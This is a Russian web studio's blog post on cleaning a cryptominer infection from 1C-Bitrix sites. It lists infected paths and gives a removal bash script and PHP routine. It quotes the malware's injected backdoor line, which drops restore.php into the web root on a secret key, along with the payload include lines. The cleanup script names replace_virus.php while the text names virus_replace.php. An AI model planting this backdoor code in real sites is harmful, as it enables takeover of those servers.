Эта небольшая история для тех, кто также как и мы борется за высокую скорость сайта и заботится о его безопасности. В статье мы описываем свой опыт. Будет здорово, если данная информация поможет хотя бы одному разработчику или владельцу сайта.
Здравствуйте! Мы — веб-студия Bquadro и на прошлой неделе мы боролись с вирусами на сайтах наших клиентов.
Точнее, вирус был один, но он поразил сразу несколько сайтов. Среди них были как только что опубликованные, так и проекты с 5-летней историей. Общее среди них было только одно: они разрабатывались на 1C-Битрикс.
В процесса разбора проблемы мы прошерстили интернет и наткнулись на разного рода статьи по этой тематике. Где-то пишут, что эта проблема раньше была, но сейчас ее нет (такого же мнения придерживается 1С-Битрикс), кто-то (как мы) столкнулись с ней недавно и у них нет точной инструкции по решению вопроса.
В этой статье — результат работы нескольких дней. Здесь кратко и, надеемся, понятно и наглядно сформулировано все, что нам удалось найти по этой теме. Все, что написано в статье мы проверили опытным путем на своих сайтах, также добавили готовый скрипт по поиску и удалению вируса.
Итак, представьте ситуацию: вы открываете сайт, а вам “навстречу” во весь экран вылетает рекламное окно с призывом “МОНЕТИЗИРУЙТЕ ЭТО” (на английском). Окно видят все: и администраторы сайта, и пользователи.
Знакомьтесь — это вирус-майнер.
Мы столкнулись с ним на прошлой неделе. Сайты, которые находятся у нас на поддержке, заразились вирусом-майнером. И баннер оказался лишь верхушкой айсберга.
Цель распространителей вируса — майнинг или, по-другому, процесс генерирования криптовалюты, с помощью вычислительных мощностей компьютеров посетителей зараженных сайтов.
После проникновения в систему, вредоносный код начинает отображать рекламный баннер, загружать вычислениями компьютеры посетителей и блокирует контактные формы на зараженном сайте (по крайней мере, у нас было именно так).
Сами компьютеры этот вирус не заражает. Но из-за нагрузки на процессор, при открытом зараженном сайте, компьютер пользователя работает в разы медленнее. Скорость открытия сайта также значительно снижается.
Помимо этого вирус копируется в системные файлы CMS Битрикс и восстанавливает сам себя при удалении видимой части вирусного кода со страниц сайта.
И, самое “вкусное”, то что делает этот вирус практически незаметным и неубиваемым:
кроме ОДНОГО показа баннера, он себя никак не проявляет. На второй и последующие открытия зараженного сайта с одного и того же компьютера, баннер перестает показываться и визуально определить, что сайт заражен становится сложнее (при этом, он все также использует мощности компьютера пользователя). В некоторых случаях он вообще “тихонько сидит” внутри сайта и ждет своего часа. А еще большинство антивирусов его не “видят”.
В первую очередь мы сделали основное:
После того, как мы промониторили наши сайты, получили консультацию 1С-Битрикса, изучили статьи, кейсы, мнения коллег с форумов, выяснилось следующее: вирус проник на сайт через стандартный модуль Битрикса “Погода” (он поставляется внутри дистрибутива Битрикс по умолчанию). При этом, удаление модуля не помогает: вирус восстанавливает не только себя, но и модуль “Погода”.
Это стало основной проблемой. Для того, чтобы ее решить, потребовался методичный поиск файлов CMS по дате модификации и удаление кода вируса из внутренних файлов вручную.
В чем еще выражалось заражение:
PHP Fatal error: ob_start(): Cannot use output buffering in output buffering display handlers in /var/www/promelspb/data/www/promelspb.ru/bitrix/modules/main/lib/data/cache.php on line 346
А вот что оставил майнер в файле /bitrix/gadgets/bitrix/weather/lang/ru/exec/include.php :
/bitrix/js/main/core/core_loader.js
/bitrix/js/main/core/core_tasker.js
/bitrix/tools/check_files.php
/bitrix/gadgets/bitrix/weather/
/bitrix/modules/main/include.backup
/bitrix/modules/main/include.php.backup
/restore.php
/bitrix/admin/update_system.php?BX_SUPPORT_MODE=Y
Если обновление не помогло (дата изменения файла осталось прежним), удаляем вручную код:
include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec"."/include.php"
include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php"
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php"
if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}};
Для автоматизации в случае заражения множества сайтов внутри виртуальной машины Bitrix мы написали скрипт для удаления вирусных файлов и вирусного кода из рабочих файлов:
#!/bin/bash
echo "Check sites from file $1"
while read line; do
rm -r $line/bitrix/gadgets/bitrix/weather/
rm -r $line/bitrix/modules/main/install/gadgets/bitrix/weather/
rm -r $line/bitrix/tools/check_files.php
rm -r $line/bitrix/js/main/core/core_loader.js
rm -r $line/bitrix/js/main/core/core_tasker.js
rm -r $line/bitrix/modules/main/include.backup
rm -r $line/bitrix/modules/main/include.php.backup
rm -r $line/restore.php
done < $1
echo "OK"
echo "Remove virus from include.php"
php /home/bitrix/ext_www/replace_virus.php > /dev/null
echo "OK"
exit 0
Скрипт нужно разместить в каталоге /bin/ под названием find_virus или по вашему желанию.
Выполнение в консоли: find_virus /home/bitrix/ext_www/sites.txt где, /home/bitrix/ext_www/sites.txt — файл со списком путей к сайтам.
Пример файла sites.txt:Пример команды crontab:
/home/bitrix/ext_www/example1.com
/home/bitrix/ext_www/example2.com
/home/bitrix/ext_www/example3.com
Скрипт find_virus можно добавить в crontab, и, даже, если в очередной раз вирус появится, он будет удален автоматически.
* * * * * /bin/find_virus /home/bitrix/ext_www/sites.txt > /dev/null
Файл virus_replace.php нужно расположить в /home/bitrix/ext_www/virus_replace.php
<?php foreach (new DirectoryIterator(__DIR__) as $fileInfo) { if($fileInfo->isDot()) continue; if($fileInfo->isFile()) continue; $file_path = $fileInfo->getPath().'/'.$fileInfo->getFilename() . "/bitrix/modules/main/include.php"; if(file_exists($file_path)){ $contents = file_get_contents($file_path); $contents = str_replace('if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}};', '', $contents); $contents = str_replace('include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec"."/include.php");', '', $contents); //print $contents;die(); file_put_contents($file_path, $contents); } }
По результатам нашей работы мы составили подробное описание зараженных вирусом файлов, логики его работы и отправили данный отчет в службу поддержки Битрикс, чтобы они учли содержащиеся в CMS уязвимости и выпустили необходимые обновления.
К сожалению, не доступен сервер mySQL